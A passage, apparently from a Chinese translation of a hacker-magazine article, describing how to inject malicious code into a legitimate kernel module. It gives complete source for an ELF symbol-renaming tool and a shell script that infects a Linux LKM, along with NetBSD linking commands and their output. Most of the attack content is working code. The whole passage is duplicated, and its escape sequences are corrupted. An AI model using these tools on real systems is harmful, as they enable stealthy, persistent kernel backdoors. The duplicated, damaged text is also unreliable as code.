下面这部分是要插入的代码:
$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>
int gentil_lkmentry(struct lkm_table *, int, int);
int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
switch(cmd) {
case LKM_E_LOAD:
printf("evil: in place/n");
break;
case LKM_E_UNLOAD:
printf("evil: i'll be back!/n");
break;
case LKM_E_STAT:
printf("evil: report in progress/n");
break;
default:
printf("edit: unknown command/n");
break;
}
return gentil_lkmentry(lkmt, cmd, ver);
}
分别编译了 gentil 和 evil 之后,我们把它们链接到一起:
$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o
# modload -e evil_entry gentil.o
Module loaded as ID 2
# modstat
Type Id Offset Loadaddr Size Info Rev Module Name
DEV 0 -1/108 d3ed3000 0004 d3ed3440 1 mmr
DEV 1 -1/180 d3fa6000 03e0 d4090100 1 nvidia
MISC 2 0 e45b9000 0004 e45b9254 1 gentil
# modunload -n gentil
# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!
好了,一切如此完美 :)
------[ 5.2.3 - OpenBSD
OpenBSD 不使用 x86 构架的 ELF 文件,所以这个技术没有用武之地。我没有在那些使用ELF的平台上测试过,但是我觉得它们看起来和NetBSD差不多,上面的hack技术应该也适用。如果你在使用ELF的 OpenBSD 平台上成功了,告诉我一声。
--[ 6 - 结论
这篇文章补充了一些在内核中集成代码的方法。我提出这个技术是因为你只要做很少的处理就可以实现代码的插入,的确很有趣。
--[ 8 - 参考资料
--[ 9 - 源代码
----[ 9.1 - ElfStrChange
/*
* elfstrchange.c by truff <truff@projet7.org>
* Change the value of a symbol name in the .strtab section
*
* Usage: elfstrchange elf_object sym_name sym_name_replaced
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len);
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len);
int main (int argc, char **argv)
{
int i;
int len = 0;
char *string;
FILE *fd;
Elf32_Ehdr hdr;
Elf32_Shdr symtab, strtab;
Elf32_Sym sym;
Elf32_Off symoffset;
fd = fopen (argv[1], "r+");
if (fd == NULL)
FATAL ("fopen");
if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
FATAL ("Elf header corrupted");
if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
{
fprintf (stderr, "Can't get .symtab section/n");
exit (EXIT_FAILURE);
}
if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
{
fprintf (stderr, "Can't get .strtab section/n");
exit (EXIT_FAILURE);
}
symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
if (symoffset == -1)
{
fprintf (stderr, "Symbol %s not found/n", argv[2]);
exit (EXIT_FAILURE);
}
printf ("[+] Symbol %s located at 0x%x/n", argv[2], symoffset);
if (fseek (fd, symoffset, SEEK_SET) == -1)
FATAL ("fseek");
if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
FATAL ("fwrite");
printf ("[+] .strtab entry overwriten with %s/n", argv[3]);
fclose (fd);
return EXIT_SUCCESS;
}
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
int i;
char symname[255];
Elf32_Off offset;
for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
{
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
FATAL ("Symtab corrupted");
memset (symname, 0, sizeof (symname));
offset = ElfGetSymbolName (fd, sym->st_name,
strtab, symname, sizeof (symname));
if (!strcmp (symname, name))
return offset;
}
return -1;
}
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr)
{
if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
FATAL ("Sections header corrupted");
return 0;
}
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr)
{
int i;
char name[255];
Elf32_Shdr shstrtable;
/*
* Get the section header string table
*/
ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
memset (name, 0, sizeof (name));
for (i=0; i<ehdr->e_shnum; i++)
{
if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
FATAL ("Sections header corrupted");
ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
name, sizeof (name));
if (!strcmp (name, section))
{
return 0;
}
}
return -1;
}
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
FATAL ("fseek");
while ((i < len) || *res == '/0')
{
*res = fgetc (fd);
i++;
res++;
}
return 0;
}
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
FATAL ("fseek");
while ((i < len) || *res == '/0')
{
*res = fgetc (fd);
i++;
res++;
}
return (strtable->sh_offset + sym_name);
}
/* EOF */
----] 9.2 Lkminject
#!/bin/sh
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
# _blank> http://www.projet7.org - Security Researchs -
#############################################################
sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2
sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2
# Replace the following line with the compilation line for your evil lkm
# if needed.
make
ld -r $1 $(basename $2 .c).o -o evil.o
.../elfstrchange evil.o init_module dumm_module
.../elfstrchange evil.o evil_module init_module
.../elfstrchange evil.o cleanup_module dummcle_module
.../elfstrchange evil.o evclean_module cleanup_module
mv evil.o $1
rm elfstrchange
|=[ EOF ]=-----------------------------------=|
$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>
int gentil_lkmentry(struct lkm_table *, int, int);
int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
switch(cmd) {
case LKM_E_LOAD:
printf("evil: in place/n");
break;
case LKM_E_UNLOAD:
printf("evil: i'll be back!/n");
break;
case LKM_E_STAT:
printf("evil: report in progress/n");
break;
default:
printf("edit: unknown command/n");
break;
}
return gentil_lkmentry(lkmt, cmd, ver);
}
分别编译了 gentil 和 evil 之后,我们把它们链接到一起:
$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o
# modload -e evil_entry gentil.o
Module loaded as ID 2
# modstat
Type Id Offset Loadaddr Size Info Rev Module Name
DEV 0 -1/108 d3ed3000 0004 d3ed3440 1 mmr
DEV 1 -1/180 d3fa6000 03e0 d4090100 1 nvidia
MISC 2 0 e45b9000 0004 e45b9254 1 gentil
# modunload -n gentil
# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!
好了,一切如此完美 :)
------[ 5.2.3 - OpenBSD
OpenBSD 不使用 x86 构架的 ELF 文件,所以这个技术没有用武之地。我没有在那些使用ELF的平台上测试过,但是我觉得它们看起来和NetBSD差不多,上面的hack技术应该也适用。如果你在使用ELF的 OpenBSD 平台上成功了,告诉我一声。
--[ 6 - 结论
这篇文章补充了一些在内核中集成代码的方法。我提出这个技术是因为你只要做很少的处理就可以实现代码的插入,的确很有趣。
--[ 8 - 参考资料
--[ 9 - 源代码
----[ 9.1 - ElfStrChange
/*
* elfstrchange.c by truff <truff@projet7.org>
* Change the value of a symbol name in the .strtab section
*
* Usage: elfstrchange elf_object sym_name sym_name_replaced
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len);
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len);
int main (int argc, char **argv)
{
int i;
int len = 0;
char *string;
FILE *fd;
Elf32_Ehdr hdr;
Elf32_Shdr symtab, strtab;
Elf32_Sym sym;
Elf32_Off symoffset;
fd = fopen (argv[1], "r+");
if (fd == NULL)
FATAL ("fopen");
if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
FATAL ("Elf header corrupted");
if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
{
fprintf (stderr, "Can't get .symtab section/n");
exit (EXIT_FAILURE);
}
if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
{
fprintf (stderr, "Can't get .strtab section/n");
exit (EXIT_FAILURE);
}
symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
if (symoffset == -1)
{
fprintf (stderr, "Symbol %s not found/n", argv[2]);
exit (EXIT_FAILURE);
}
printf ("[+] Symbol %s located at 0x%x/n", argv[2], symoffset);
if (fseek (fd, symoffset, SEEK_SET) == -1)
FATAL ("fseek");
if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
FATAL ("fwrite");
printf ("[+] .strtab entry overwriten with %s/n", argv[3]);
fclose (fd);
return EXIT_SUCCESS;
}
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
int i;
char symname[255];
Elf32_Off offset;
for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
{
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
FATAL ("Symtab corrupted");
memset (symname, 0, sizeof (symname));
offset = ElfGetSymbolName (fd, sym->st_name,
strtab, symname, sizeof (symname));
if (!strcmp (symname, name))
return offset;
}
return -1;
}
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr)
{
if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
FATAL ("Sections header corrupted");
return 0;
}
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr)
{
int i;
char name[255];
Elf32_Shdr shstrtable;
/*
* Get the section header string table
*/
ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
memset (name, 0, sizeof (name));
for (i=0; i<ehdr->e_shnum; i++)
{
if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
FATAL ("Sections header corrupted");
ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
name, sizeof (name));
if (!strcmp (name, section))
{
return 0;
}
}
return -1;
}
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
FATAL ("fseek");
while ((i < len) || *res == '/0')
{
*res = fgetc (fd);
i++;
res++;
}
return 0;
}
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
FATAL ("fseek");
while ((i < len) || *res == '/0')
{
*res = fgetc (fd);
i++;
res++;
}
return (strtable->sh_offset + sym_name);
}
/* EOF */
----] 9.2 Lkminject
#!/bin/sh
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
# _blank> http://www.projet7.org - Security Researchs -
#############################################################
sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2
sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2
# Replace the following line with the compilation line for your evil lkm
# if needed.
make
ld -r $1 $(basename $2 .c).o -o evil.o
.../elfstrchange evil.o init_module dumm_module
.../elfstrchange evil.o evil_module init_module
.../elfstrchange evil.o cleanup_module dummcle_module
.../elfstrchange evil.o evclean_module cleanup_module
mv evil.o $1
rm elfstrchange
|=[ EOF ]=-----------------------------------=|